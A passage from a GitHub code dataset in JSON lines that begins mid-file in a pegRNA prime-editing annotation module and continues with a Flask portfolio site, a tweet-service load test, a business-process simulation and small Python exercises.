edit_type = 'insertion'\n    elif len(remaining_flap) == len(remaining_target):\n        edit_type = 'SNVs'\n    else:\n        edit_type = 'combination'\n\n    # start of RTT is the end of the flap\n    starts['pegRNA', 'HA_RT'] = features['pegRNA', 'RTT'].start\n    ends['pegRNA', 'HA_RT'] = starts['pegRNA', 'HA_RT'] + len(flap_suffix) - 1\n\n    if strands['target'] == '+':\n        starts['target', 'HA_RT'] = cut_after + 1 + HA_RT_target_offset\n        ends['target', 'HA_RT'] = starts['target', 'HA_RT'] + len(flap_suffix) - 1\n    else:\n        ends['target', 'HA_RT'] = cut_after - HA_RT_target_offset\n        starts['target', 'HA_RT'] = ends['target', 'HA_RT'] - len(flap_suffix) + 1\n\n    deletion = None\n    SNVs = None\n\n    if edit_type == 'insertion':\n        insertion_length = len(remaining_flap)\n        starts['pegRNA', 'insertion'] = ends['pegRNA', 'HA_RT'] + 1\n        ends['pegRNA', 'insertion'] = starts['pegRNA', 'insertion'] + insertion_length - 1\n        \n        insertion_name = f'insertion_{pegRNA_name}'\n        insertion = gff.Feature.from_fields(seqname=names['pegRNA'],\n                                            start=starts['pegRNA', 'insertion'],\n                                            end=ends['pegRNA', 'insertion'],\n                                            strand='-',\n                                            ID=insertion_name,\n                                            )\n        insertion.attribute['color'] = default_feature_colors['insertion']\n        new_features[names['pegRNA'], insertion_name] = insertion\n\n    elif edit_type == 'combination':\n        region_length = len(remaining_flap)\n        starts['pegRNA', 'combination'] = ends['pegRNA', 'HA_RT'] + 1\n        ends['pegRNA', 'combination'] = starts['pegRNA', 'combination'] + region_length - 1\n        \n        combination_name = f'combination_{pegRNA_name}'\n        combination = gff.Feature.from_fields(seqname=names['pegRNA'],\n                                              start=starts['pegRNA', 'combination'],\n                                              end=ends['pegRNA', 'combination'],\n                                              strand='-',\n                                              ID=combination_name,\n                                             )\n        combination.attribute['color'] = default_feature_colors['insertion']\n        new_features[names['pegRNA'], combination_name] = combination\n\n    elif edit_type == 'deletion':\n        deletion_length = len(remaining_target)\n\n        # prefix_length is how much sequence at the beginning of\n        # the RTT pairs up with target immediately adjacent to the \n        # PBS.\n\n        if strands['target'] == '+':\n            deletion_start = cut_after + 1 + prefix_length\n        else:\n            # Note '+ 1' here. cut_after - prefix_length is the last position\n            # deleted, and last is length - 1 away from the first.\n            deletion_start = cut_after - prefix_length - deletion_length + 1\n\n        starts['target', 'deletion'] = deletion_start\n        ends['target', 'deletion'] = deletion_start + deletion_length - 1\n\n        deletion = target_info.DegenerateDeletion([deletion_start], deletion_length)\n\n        deletion_name = f'deletion_{pegRNA_name}'\n        deletion_feature = gff.Feature.from_fields(seqname=names['target'],\n                                                   start=starts['target', 'deletion'],\n                                                   end=ends['target', 'deletion'],\n                                                   strand=strands['target'],\n                                                   ID=deletion_name,\n                                                  )\n        deletion_feature.attribute['color'] = default_feature_colors['deletion']\n        new_features[names['target'], deletion_name] = deletion_feature\n\n    else:\n        SNVs = {\n            target_name: {},\n            pegRNA_name: {},\n        }\n\n        for offset, (pegRNA_b, target_b) in enumerate(zip(seqs['pegRNA', 'RTT'], seqs['target', 'RTT'])):\n            if pegRNA_b != target_b:\n\n                positions = {\n                    'pegRNA': starts['pegRNA', 'RTT'] - offset,\n                }\n\n                if strands['target'] == '+':\n                    positions['target'] = starts['target', 'RTT'] + offset\n                    pegRNA_strand = '-'\n                else:\n                    positions['target'] = ends['target', 'RTT'] - offset - 1\n                    pegRNA_strand = '+'\n\n                target_base_plus = target_sequence[positions['target']]\n                pegRNA_base_plus = reference_sequences[names['pegRNA']][positions['pegRNA']]\n\n                if pegRNA_strand == '+':\n                    pegRNA_base_effective = pegRNA_base_plus\n                else:\n                    pegRNA_base_effective = utilities.reverse_complement(pegRNA_base_plus)\n\n                SNV_name = f'SNV_{positions[\"target\"]}_{target_base_plus}-{pegRNA_base_effective}'\n\n                SNVs[target_name][SNV_name] = {\n                    'position': positions['target'],\n                    'strand': '+',\n                    'base': target_base_plus,\n                }\n\n                SNVs[pegRNA_name][SNV_name] = {\n                    'position': positions['pegRNA'],\n                    'strand': pegRNA_strand,\n                    'base': pegRNA_base_plus,\n                }\n\n                for seq_name in names:\n                    feature = gff.Feature.from_fields(seqname=names[seq_name],\n                                                      start=positions[seq_name],\n                                                      end=positions[seq_name],\n                                                      strand=strands[seq_name],\n                                                      ID=SNV_name,\n                                                     )\n                \n                    new_features[names[seq_name], SNV_name] = feature\n\n    # When interpreting alignments to pegRNAs, it is useful to know\n    # the point in pegRNA sequence at which it first diverges from\n    # genomic sequence. Annotate the region of the pegRNA past this point\n    # (that is, before it in 5'-to-3' sequence) with a feature\n    # named f'after_first_difference_{pegRNA_name}'.\n\n    pegRNA_seq = seqs['pegRNA', 'RTT'] + seqs['pegRNA', 'scaffold']\n    target_seq = seqs['target', 'RTT'] + seqs['target', 'scaffold']\n\n    for offset, (pegRNA_b, target_b) in enumerate(zip(pegRNA_seq, target_seq)):\n        if pegRNA_b != target_b:\n            break\n\n    first_differnce_position = starts['pegRNA', 'RTT'] - offset\n    name = f'after_first_difference_{names[\"pegRNA\"]}'\n    feature = gff.Feature.from_fields(seqname=names['pegRNA'],\n                                      start=0,\n                                      end=first_differnce_position,\n                                      strand='-',\n                                      ID=name,\n                                     )\n    new_features[names['pegRNA'], name] = feature\n\n\n    HA_PBS_name = f'HA_PBS_{names[\"pegRNA\"]}'\n    HA_RT_name = f'HA_RT_{names[\"pegRNA\"]}'\n\n    # Make target HA features.\n\n    HA_PBS = copy.deepcopy(features['target', 'PBS'])\n    HA_PBS.attribute['ID'] = HA_PBS_name\n    new_features[target_name, HA_PBS_name] = HA_PBS\n\n    HA_RT = gff.Feature.from_fields(seqname=target_name,\n                                    start=starts['target', 'HA_RT'],\n                                    end=ends['target', 'HA_RT'],\n                                    strand=HA_PBS.strand,\n                                    ID=HA_RT_name,\n                                   )\n    HA_RT.attribute['color'] = default_feature_colors['RTT']\n    new_features[target_name, HA_RT_name] = HA_RT\n\n    # Make pegRNA HA features.\n\n    HA_PBS = copy.deepcopy(features['pegRNA', 'PBS'])\n    HA_PBS.attribute['ID'] = HA_PBS_name\n    new_features[names['pegRNA'], HA_PBS_name] = HA_PBS\n\n    HA_RT = gff.Feature.from_fields(seqname=names['pegRNA'],\n                                    start=starts['pegRNA', 'HA_RT'],\n                                    end=ends['pegRNA', 'HA_RT'],\n                                    strand='-',\n                                    ID=HA_RT_name,\n                                   )\n    HA_RT.attribute['color'] = default_feature_colors['RTT']\n    new_features[names['pegRNA'], HA_RT_name] = HA_RT\n\n    return new_features, SNVs, deletion\n\ndef PBS_names_by_side_of_target(pegRNA_names,\n                                target_name,\n                                existing_features,\n                               ):\n    PBS_features_by_strand = {}\n\n    for pegRNA_name in pegRNA_names:\n        PBS_feature = existing_features[target_name, PBS_name(pegRNA_name)]\n        if PBS_feature.strand in PBS_features_by_strand:\n            raise ValueError('pegRNAs target same strand')\n        else:\n            PBS_features_by_strand[PBS_feature.strand] = PBS_feature\n\n    if len(PBS_features_by_strand) == 2:\n        if PBS_features_by_strand['+'].start > PBS_features_by_strand['-'].end:\n            raise ValueError('pegRNAs not in PAM-in configuration')\n\n    by_side = {}\n\n    strand_to_side = {\n        '+': 5,\n        '-': 3,\n    }\n\n    for strand, side in strand_to_side.items():\n        if strand in PBS_features_by_strand:\n            by_side[side] = PBS_features_by_strand[strand].attribute['ID']\n\n    return by_side\n\ndef pegRNA_names_by_side_of_target(pegRNA_names,\n                                   target_name,\n                                   existing_features,\n                                  ):\n    PBS_names = PBS_names_by_side_of_target(pegRNA_names, target_name, existing_features)\n    return {side: extract_pegRNA_name(PBS_name) for side, PBS_name in PBS_names.items()}\n\ndef infer_twin_pegRNA_features(pegRNA_names,\n                               target_name,\n                               existing_features,\n                               reference_sequences,\n                              ):\n\n    target_seq = reference_sequences[target_name]\n\n    PBS_names_by_side = PBS_names_by_side_of_target(pegRNA_names, target_name, existing_features)\n    pegRNA_names_by_side = pegRNA_names_by_side_of_target(pegRNA_names, target_name, existing_features)\n\n    pegRNA_seqs = {side: reference_sequences[pegRNA_names_by_side[side]] for side in [5, 3]}\n\n    target_PBSs = {side: existing_features[target_name, PBS_names_by_side[side]] for side in [5, 3]}\n\n    pegRNA_RTTs = {side: existing_features[pegRNA_names_by_side[side], 'RTT'] for side in [5, 3]}\n\n    new_features = {}\n    overlap_seqs = {}\n    intended_edit_seqs = {}\n\n    is_prime_del = False\n\n    through_PBS = {\n        5: target_seq[:target_PBSs[5].end + 1],\n        3: target_seq[target_PBSs[3].start:]\n    }\n\n    RTed = {\n        5: utilities.reverse_complement(pegRNA_seqs[5][pegRNA_RTTs[5].start:pegRNA_RTTs[5].end + 1]),\n        3: pegRNA_seqs[3][pegRNA_RTTs[3].start:pegRNA_RTTs[3].end + 1],\n    }\n\n    target_with_RTed = {\n        5: through_PBS[5] + RTed[5],\n        3: RTed[3] + through_PBS[3],\n    }\n\n    offset_to_positions = defaultdict(dict)\n    for offset in range(len(target_seq)):\n        offset_to_positions[offset][target_name] = offset\n\n    for offset_in_RTT in range(len(pegRNA_RTTs[5])):\n        position = pegRNA_RTTs[5].start + offset_in_RTT\n        offset = target_PBSs[5].end + len(pegRNA_RTTs[5]) - offset_in_RTT\n        offset_to_positions[offset][pegRNA_names_by_side[5]] = position\n\n    for offset_in_RTT in range(len(pegRNA_RTTs[3])):\n        position = pegRNA_RTTs[3].start + offset_in_RTT\n        offset = target_PBSs[3].start - len(pegRNA_RTTs[3]) + offset_in_RTT\n        offset_to_positions[offset][pegRNA_names_by_side[3]] = position\n\n    # Align the RT'ed part of the 5' pegRNA to the target+RT'ed sequence\n    # from the 3' side.\n\n    for length in range(1, len(RTed[5]) + 1):\n        suffix = RTed[5][-length:]\n        starts = utilities.find_all_substring_starts(target_with_RTed[3], suffix)\n        if len(starts) > 0:\n            # If there are multiple matches, prioritize the one closest to the start.\n            start = starts[0]\n        else:\n            length = length - 1\n            break\n\n    # How much of the RTed sequence from 5 lines up with non-RTed sequence from 3?\n    # Answer is how much of [start, start + length - 1] overlaps with [len(RTed[3]), len(target_with_RTed[3]) - 1]\n    # If any, these pegRNAs are a prime del strategy.\n\n    non_RTed_interval = interval.Interval(start, start + length - 1) & interval.Interval(len(RTed[3]), len(target_with_RTed[3]) - 1)\n    if len(non_RTed_interval) > 0:\n        is_prime_del = True\n\n    # How much of the RTed sequence from 5 lines up with RTed sequence from 3?\n    # Since the lined up part begins at index 'start' in target_with_RTed[3], the answer\n    # is how much of [start, start + length - 1] overlaps with [0, len(RTed[3]) - 1]\n\n    overlap_interval = interval.Interval(start, start + length - 1) & interval.Interval(0, len(RTed[3]) - 1)\n\n    if len(overlap_interval) > 0:\n        overlap_seqs[5] = target_with_RTed[3][overlap_interval.start:overlap_interval.end + 1]\n        overlap_interval_on_pegRNA = interval.Interval(pegRNA_RTTs[3].start + overlap_interval.start, pegRNA_RTTs[3].start + overlap_interval.end)\n\n        overlap_feature = gff.Feature.from_fields(seqname=pegRNA_names_by_side[3],\n                                                  feature='overlap',\n                                                  start=overlap_interval_on_pegRNA.start,\n                                                  end=overlap_interval_on_pegRNA.end,\n                                                  strand='+',\n                                                  attribute_string=gff.make_attribute_string({\n                                                      'ID': 'overlap',\n                                                      'color': default_feature_colors['overlap'],\n                                                      'short_name': 'overlap',\n                                                  }),\n                                                 )\n\n        new_features[pegRNA_names_by_side[3], 'overlap'] = overlap_feature\n\n    else:\n        overlap_seqs[5] = ''\n\n    intended_edit_seqs[5] = target_with_RTed[5][:-length] + target_with_RTed[3][start:]\n\n    # Align the RT'ed part of the 3' pegRNA to the target+RT'ed sequence\n    # from the 5' side.\n\n    for length in range(1, len(RTed[3]) + 1):\n        prefix = RTed[3][:length]\n        starts = utilities.find_all_substring_starts(target_with_RTed[5], prefix)\n        if len(starts) > 0:\n            # If there are multiple matches, prioritize the one closest to the end.\n            start = starts[-1]\n        else:\n            length = length - 1\n            break\n\n    # How much of the RTed sequence from 3 lines up with non-RTed sequence from 5?\n    # Answer is how much of [start, start + length - 1] overlaps with [0, len(through_PBS[5]) - 1]\n    # If any, these pegRNAs are a prime del strategy.\n\n    non_RTed_interval = interval.Interval(start, start + length - 1) & interval.Interval(0, len(through_PBS[5]) - 1)\n    if len(non_RTed_interval) > 0:\n        is_prime_del = True\n\n    # How much of the RTed sequence from 3 lines up with RTed sequence from 5?\n    # Since the lined up part begins at index 'start' in target_with_RTed[5], the answer\n    # is how much of [start, start + length - 1] overlaps with [len(through_PBS[5]), len(target_with_RTed[5]) - 1]\n\n    overlap_interval = interval.Interval(start, start + length - 1) & interval.Interval(len(through_PBS[5]), len(target_with_RTed[5]) - 1)\n\n    if len(overlap_interval) > 0:\n        overlap_seqs[3] = target_with_RTed[5][overlap_interval.start:overlap_interval.end + 1]\n\n        overlap_interval_on_pegRNA = interval.Interval(pegRNA_RTTs[5].start + (len(target_with_RTed[5]) - 1 - overlap_interval.end),\n                                                       pegRNA_RTTs[5].start + (len(target_with_RTed[5]) - 1 - overlap_interval.start),\n                                                      )\n\n        overlap_feature = gff.Feature.from_fields(seqname=pegRNA_names_by_side[5],\n                                                  feature='overlap',\n                                                  start=overlap_interval_on_pegRNA.start,\n                                                  end=overlap_interval_on_pegRNA.end,\n                                                  strand='-',\n                                                  attribute_string=gff.make_attribute_string({\n                                                      'ID': 'overlap',\n                                                      'color': default_feature_colors['overlap'],\n                                                      'short_name': 'overlap',\n                                                  }),\n                                                 )\n\n\n        new_features[pegRNA_names_by_side[5], 'overlap'] = overlap_feature\n\n    else:\n        overlap_seqs[3] = ''\n\n    if overlap_seqs[5] == '' and overlap_seqs[3] == '':\n        # prime del with no insertion won't have overlap between RTTs, but will have overlap between\n        # each PBS and the other pegRNA's RTT.\n        seq_5 = pegRNA_seqs[5]\n        seq_3_rc = utilities.reverse_complement(pegRNA_seqs[3])\n        PBS_length_3 = len(target_PBSs[3])\n        longest_match = 0\n        for l in range(PBS_length_3, len(seq_5)):\n            if seq_3_rc[:l] == seq_5[-l:]:\n                longest_match = l\n\n        if longest_match != 0:\n            for side in [5, 3]:\n                overlap_feature = gff.Feature.from_fields(seqname=pegRNA_names_by_side[side],\n                                                          feature='overlap',\n                                                          start=len(pegRNA_seqs[side]) - 1 - longest_match,\n                                                          end=len(pegRNA_seqs[side]) - 1,\n                                                          strand='+',\n                                                          attribute_string=gff.make_attribute_string({\n                                                              'ID': 'overlap',\n                                                              'color': default_feature_colors['overlap'],\n                                                              'short_name': 'overlap',\n                                                          }),\n                                                         )\n                new_features[pegRNA_names_by_side[side], 'overlap'] = overlap_feature\n\n    intended_edit_seqs[3] = target_with_RTed[5][:start + length] + target_with_RTed[3][length:]\n\n    deletion = None\n    SNVs = None\n\n    if (overlap_seqs[5] != overlap_seqs[3]) or (intended_edit_seqs[5] != intended_edit_seqs[3]):\n        intended_edit_seq = None\n        logging.warning(f'Unable to infer a consistent intended edit for {\"+\".join(pegRNA_names)}')\n        for side in [5, 3]:\n            new_features.pop((pegRNA_names_by_side[side], 'overlap'), None)\n    else:\n        intended_edit_seq = intended_edit_seqs[5]\n\n        # Check if the intended edit is a deletion.\n\n        unedited_seq = target_seq\n\n        if len(intended_edit_seq) < len(unedited_seq):\n            for num_matches_at_start, (intended_b, edited_b) in enumerate(zip(unedited_seq, intended_edit_seq)):\n                if intended_b != edited_b:\n                    break\n\n            # If the sequence following the first difference exactly\n            # matches the end of the wild type amplicon, the intended\n            # edit is a deletion.\n            if unedited_seq.endswith(intended_edit_seq[num_matches_at_start + 1:]):\n                deletion_length = len(unedited_seq) - len(intended_edit_seq)\n\n                deletion_start = num_matches_at_start\n\n                deletion = target_info.DegenerateDeletion([deletion_start], deletion_length)\n\n                deletion_name = f'deletion_{pegRNA_names[0]}_{pegRNA_names[1]}'\n                deletion_feature = gff.Feature.from_fields(seqname=target_name,\n                                                           start=deletion_start,\n                                                           end=deletion_start + deletion_length - 1,\n                                                           strand='+',\n                                                           ID=deletion_name,\n                                                          )\n                deletion_feature.attribute['color'] = default_feature_colors['deletion']\n\n                new_features[target_name, deletion_name] = deletion_feature\n\n        elif len(intended_edit_seq) == len(unedited_seq):\n\n            SNVs = {\n                target_name: {},\n                pegRNA_names[0]: {},\n                pegRNA_names[1]: {},\n            }\n\n            for offset, (pegRNAs_b, target_b) in enumerate(zip(intended_edit_seq, unedited_seq)):\n                if pegRNAs_b != target_b:\n\n                    positions = offset_to_positions[offset]\n\n                    SNV_name = f'SNV_{positions[target_name]}_{target_b}-{pegRNAs_b}'\n\n                    SNVs[target_name][SNV_name] = {\n                        'position': positions[target_name],\n                        'strand': '+',\n                        'base': target_b,\n                    }\n\n                    feature = gff.Feature.from_fields(seqname=target_name,\n                                                      start=positions[target_name],\n                                                      end=positions[target_name],\n                                                      strand='+',\n                                                      ID=SNV_name,\n                                                     )\n                \n                    new_features[target_name, SNV_name] = feature\n\n                    if pegRNA_names_by_side[5] in positions:\n                        pegRNA_name = pegRNA_names_by_side[5]\n\n                        # Note: convention on pegRNA base strandedness is a constant source\n                        # of confusion.\n                        pegRNA_base_effective = utilities.reverse_complement(pegRNAs_b)\n\n                        SNVs[pegRNA_name][SNV_name] = {\n                            'position': positions[pegRNA_name],\n                            'strand': '-',\n                            'base': pegRNA_base_effective,\n                        }\n\n                        feature = gff.Feature.from_fields(seqname=pegRNA_name,\n                                                          start=positions[pegRNA_name],\n                                                          end=positions[pegRNA_name],\n                                                          strand='-',\n                                                          ID=SNV_name,\n                                                         )\n                    \n                        new_features[pegRNA_name, SNV_name] = feature\n\n                    if pegRNA_names_by_side[3] in positions:\n                        pegRNA_name = pegRNA_names_by_side[3]\n\n                        pegRNA_base_effective = pegRNAs_b\n\n                        SNVs[pegRNA_name][SNV_name] = {\n                            'position': positions[pegRNA_name],\n                            'strand': '+',\n                            'base': pegRNAs_b,\n                        }\n\n                        feature = gff.Feature.from_fields(seqname=pegRNA_name,\n                                                          start=positions[pegRNA_name],\n                                                          end=positions[pegRNA_name],\n                                                          strand='+',\n                                                          ID=SNV_name,\n                                                         )\n                    \n                        new_features[pegRNA_name, SNV_name] = feature\n\n    results = {\n        'deletion': deletion,\n        'SNVs': SNVs,\n        'new_features': new_features,\n        'is_prime_del': is_prime_del,\n        'intended_edit_seq': intended_edit_seq,\n    }\n\n    return results","repo_name":"pabloyler/knock-knock","sub_path":"knock_knock/pegRNAs.py","file_name":"pegRNAs.py","file_ext":"py","file_size_in_byte":41131,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"77"}
+{"seq_id":"30968438737","text":"from flask import Flask, render_template, request, redirect, url_for\nfrom flask_bootstrap import Bootstrap\nfrom flask_ckeditor import CKEditor, CKEditorField\nfrom flask_sqlalchemy import SQLAlchemy\nfrom wtforms import StringField, SubmitField, IntegerField\nfrom wtforms.validators import DataRequired, Optional\nfrom flask_wtf import FlaskForm\nfrom datetime import date\nfrom portoflio import Portfolio\nimport requests\nimport smtplib\nimport os\n\nEMAIL = os.environ[\"OWN_EMAIL\"]\nPASSWORD = os.environ[\"OWN_PASSWORD\"]\nRECIPIENT = os.environ[\"RECIPIENT\"]\n\napp = Flask(__name__)\napp.config['SECRET_KEY'] = os.environ['SECRET_KEY_CODE']\nckeditor = CKEditor(app)\n\n# CONNECT TO DB\napp.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///client_portfolio.db'\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\ndb = SQLAlchemy(app)\n\nBootstrap(app)\ncurrent_year = date.today().year\n\nportfolio = requests.get(\"https://api.npoint.io/78c54b6b0ae07e92852f\").json()\n\nportfolio_objects = []\nfor client in portfolio:\n    portfolio_object = Portfolio(\n        client[\"id\"],\n        client[\"title\"].split(\" - \")[0].replace(\" \", \"-\").lower(),\n        client[\"title\"],\n        client[\"subtitle\"],\n        client[\"tagline\"],\n        client[\"image\"],\n        client[\"body\"],\n        client[\"cms\"],\n        client[\"urlsMigrated\"],\n        client[\"services\"],\n        client[\"industry\"]\n    )\n    portfolio_objects.append(portfolio_object)\n\n\n# CONFIGURE TABLE\nclass Client(db.Model):\n    id = db.Column(db.Integer, primary_key=True)\n    title = db.Column(db.String(250), unique=True, nullable=False)\n    tagline = db.Column(db.String(250), nullable=True)\n    image = db.Column(db.String(250), nullable=True)\n    body = db.Column(db.String(500), nullable=True)\n    cms = db.Column(db.String(250), nullable=True)\n    urls_migrated = db.Column(db.Integer, nullable=True)\n    services = db.Column(db.String(250), nullable=True)\n    industry = db.Column(db.String(250), nullable=True)\n    url_string = db.Column(db.String(250), nullable=True)\n\n\n# db.create_all()\n\n\n# WTForm\nclass AddForm(FlaskForm):\n    title = StringField('Enter a title tag for your client project', validators=[DataRequired()])\n    tagline = StringField('Enter a tagline for your client project', validators=[DataRequired()])\n    image = StringField('Enter the image file path', validators=[DataRequired()])\n    body = StringField('Enter body content for your client project', validators=[DataRequired()])\n    cms = StringField('Enter the cms used for your client project', validators=[DataRequired()])\n    urls_migrated = IntegerField('Enter the # of URLs migrated for your client project', validators=[Optional()])\n    services = StringField('Enter the services performed for the project', validators=[DataRequired()])\n    industry = StringField('Enter the client industry', validators=[DataRequired()])\n    url_string = StringField('Enter url string path', validators=[DataRequired()])\n    submit = SubmitField('Submit')\n\n\ncase_studies = Client.query.all()\n\n\n@app.route('/')\ndef get_all_case_studies():\n    print(case_studies)\n    return render_template('index.html', year=current_year, portfolio=case_studies)\n\n\n@app.route('/add', methods=['GET', 'POST'])\ndef add_work():\n    form = AddForm()\n    if form.validate_on_submit():\n        new_client = Client(\n            title=form.title.data,\n            tagline=form.tagline.data,\n            image=form.image.data,\n            body=form.body.data,\n            cms=form.cms.data,\n            urls_migrated=form.urls_migrated.data,\n            services=form.services.data,\n            industry=form.industry.data,\n            url_string=form.url_string.data\n        )\n        db.session.add(new_client)\n        db.session.commit()\n        return redirect(url_for('get_all_case_studies'))\n    return render_template('add.html', form=form)\n\n\n@app.route('/work/<int:index>-<path>')\ndef show_portfolio(index, path):\n    requested_portfolio = None\n\n    for case_study in case_studies:\n        if case_study.id == index:\n            requested_portfolio = case_study\n    return render_template(\"portfolio.html\", year=current_year, portfolio=requested_portfolio)\n\n\n@app.route('/work')\ndef all_work():\n    return render_template(\"work.html\", year=current_year, portfolio=case_studies)\n\n\n@app.route('/apps')\ndef all_apps():\n    return render_template(\"apps.html\", year=current_year)\n\n\n@app.route(\"/about\")\ndef my_info():\n    return render_template(\"about.html\", year=current_year)\n\n\n@app.route('/thank-you', methods=[\"POST\"])\ndef receive_data():\n    name = request.form[\"name\"]\n    first_name = name.split(\" \", 1)[0]\n    email = request.form[\"email\"]\n    message = request.form[\"message\"]\n    send_email(name, email, message)\n    return render_template(\"thank-you.html\", name=name, first_name=first_name, email=email, message=message)\n\n\ndef send_email(name, email, message):\n    email_message = f\"Subject: New Website Submission!\\n\\nName: {name}\\nEmail: {email}\\nMessage: {message}\"\n    with smtplib.SMTP(\"smtp.gmail.com\", port=587) as connection:\n        connection.starttls()\n        connection.login(user=EMAIL, password=PASSWORD)\n        connection.sendmail(\n            from_addr=EMAIL,\n            to_addrs=RECIPIENT,\n            msg=email_message\n        )\n\n\nif __name__ == \"__main__\":\n    app.run(debug=True, port=8000)\n","repo_name":"tylergargula/my-personal-site","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":5304,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"19544401481","text":"from collections import defaultdict\nfrom pprint import pprint\nimport sys\nimport socket\nimport time\n\nimport requests\n\nimport utils\n\nurl_base = 'http://localhost:9991'\nurl_create = url_base + '/tweet/create'\nurl_get = url_base + '/tweet/get'\n\n\ndef main():\n    if len(sys.argv) != 2:\n        print('args: file_name')\n        exit(1)\n\n    print('loading data')\n    fn = sys.argv[1]\n    with open(fn) as f:\n        lines = f.read().splitlines()\n    activities = utils.parse_lines(lines)\n    num = len(activities)\n    print('data loaded. {} activities'.format(num))\n    utils.normalize_length(activities, 1, 400)\n\n    tid_prefix = socket.gethostname()\n    print('begin. prefix of tweet_id is {}'.format(tid_prefix))\n    t0 = time.time()\n    c = 0\n    calcers_get = defaultdict(utils.Calcer)\n    calcers_create = defaultdict(utils.Calcer)\n    for ts, action, user_id, tlen in activities:\n        if action == 'Retrieve':\n            resp = requests.get(url_get, params={\n                'user_id': user_id,\n                'limit': 50,\n                'pop': 0\n            })\n            respj = resp.json()\n            utils.save_timer(calcers_get, respj['timer'])\n        else:\n            resp = requests.post(url_create, data={\n                'tweet_id': tid_prefix + '-' + str(ts),\n                'user_id': user_id,\n                'ts': ts,\n                'content': utils.random_string(tlen)\n            })\n            respj = resp.json()\n            utils.save_timer(calcers_create, respj['timer'])\n        pprint(respj)\n        c += 1\n        if c % 100 == 0:\n            print('progress:', time.time() - t0, c, c / (time.time() - t0))\n    t999 = time.time()\n    duration = t999 - t0\n    print('finished. {:.2f}, {:.2f}/s, {:.5f}/req'.format(duration, num / duration, duration / num))\n    print('---timers of get---')\n    utils.print_calcers(calcers_get)\n    print('---timers of create---')\n    utils.print_calcers(calcers_create)\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"distsys-twibo/twibo","sub_path":"load-test/run_single.py","file_name":"run_single.py","file_ext":"py","file_size_in_byte":1976,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"30219467351","text":"import stdio\n\ntheInts = stdio.readAllInts()\n\nminimum = theInts[0]\nmaximum = theInts[0]\n\nfor i in theInts:\n    if i < minimum:\n        minimum = i\n    elif i > maximum:\n        maximum = i\nstdio.writeln(\"Minimum = \" + str(minimum))\nstdio.writeln(\"Maximum = \" + str(maximum))\n","repo_name":"ZenIsBestWolf/cs","sub_path":"umb/cs110/example_midterm/minmax.py","file_name":"minmax.py","file_ext":"py","file_size_in_byte":274,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"35882517332","text":"# encoding: utf-8\n__author__ = 'Aleksei Maliutin'\n\"\"\"\nCostOfSales.py\nCreated by lex at 2019-03-25.\n\"\"\"\nimport random\nimport numpy as np\nfrom Abstract.Transaction import Transaction\nfrom Abstract.Process import Process\nfrom Abstract.Observer import Observer\nfrom Simulation.CONFIG import *\n\n\nclass GoodsDeliveryTransaction(Transaction):\n    def __init__(self, name, env):\n        super().__init__(name, env)\n        self.cost_of_sales = 0.0\n        self.inventory = 0.0\n\n    def newTransaction(self, salesTransaction):\n        _, cost_of_sales, _, noise, u_id = salesTransaction\n        unique_id = random.choice(VARIANTS)\n        cur_transaction = self.new(postfix=unique_id)\n        #         Generating amounts\n        if NOISE[\"GoodsDelivery\"]:\n            noise = super().noise(cost_of_sales, unique_id, cur_transaction)\n        else:\n            noise = {\"left\": {\"def\": 0.0}, \"right\": {\"def\": 0.0}}\n        #     Update core processes regard the noisy FAs\n        self.cost_of_sales = cost_of_sales - np.sum(list(noise[\"right\"].values()))\n        self.inventory = cost_of_sales - np.sum(list(noise[\"left\"].values()))\n\n        self.addRecord(\"CostOfSales_\" + str(unique_id), \"CostOfSales\", self.cost_of_sales, cur_transaction)\n        self.addRecord(\"Inventory_\" + str(unique_id), \"Inventory\", -self.inventory, cur_transaction)\n\n        if PRINT:\n            self.printTransaction()\n\n        return self.inventory, self.cost_of_sales, noise, str(unique_id)\n\n    def printTransaction(self):\n        print(\"GoodsDeliveryTransaction: Inventory=\", self.inventory, \" -> CostOfSales=\", self.cost_of_sales)\n\n\nclass GoodsDeliveryProcess(Process):\n    def __init__(self, name, env, transaction):\n        self.name = name\n        self.env = env\n        self.Transaction = transaction\n        if PRINT:\n            print(\"Process \", self.name)\n        #     Add Notifier for process and Observer\n        self.transactionNotifier = super().TransactionNotifier(self)\n        self.Observer = GoodsDeliveryProcess.GoodsDeliveryProcessObserver(self)\n\n    def IncomingTransaction(self, last_transaction):\n        cur_transaction = self.Transaction.newTransaction(last_transaction)\n        self.transactionNotifier.setChanged()\n        for obs in self.transactionNotifier.notifyObservers(cur_transaction):\n            yield obs\n\n    class GoodsDeliveryProcessObserver(Observer):\n        def __init__(self, outer):\n            self.outer = outer\n\n        def update(self, observable, args):\n            for obs in self.outer.IncomingTransaction(args):\n                yield obs\n","repo_name":"AlexWorldD/NetEmbs","sub_path":"Simulation/BusinessProcesses/GoodsDelivery.py","file_name":"GoodsDelivery.py","file_ext":"py","file_size_in_byte":2564,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"18751314163","text":"#Escriba un programa que entregue la parte decimal \n#de un número real ingresado por el usuario.\n\nimport math\n\nwhile True:\n    numero=input(\"Ingrese un numero: \")\n\n    #extrae la cantidad de decimales que tiene \n    if numero.count(\".\")>0:\n        decimal_string=numero.split(\".\")[1]\n        cantidad_decimales=len(decimal_string)\n    else:\n        cantidad_decimales=0\n\n    #intenta volverlo un numero\n    try:\n        numero=float(numero)\n        break\n    except:\n        pass\n\nnumero=math.fabs(numero)\nentera=math.trunc(numero)\ndecimal=numero-float(entera)\n\n#decimal,entera=math.modf(numero)\nif cantidad_decimales==0:\n    print(0)\nelse:\n    print(round(decimal,cantidad_decimales))","repo_name":"rubencastelblanco/Ejercicios_python","sub_path":"parte_1/programas_simples/08_parte_decimal.py","file_name":"08_parte_decimal.py","file_ext":"py","file_size_in_byte":686,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
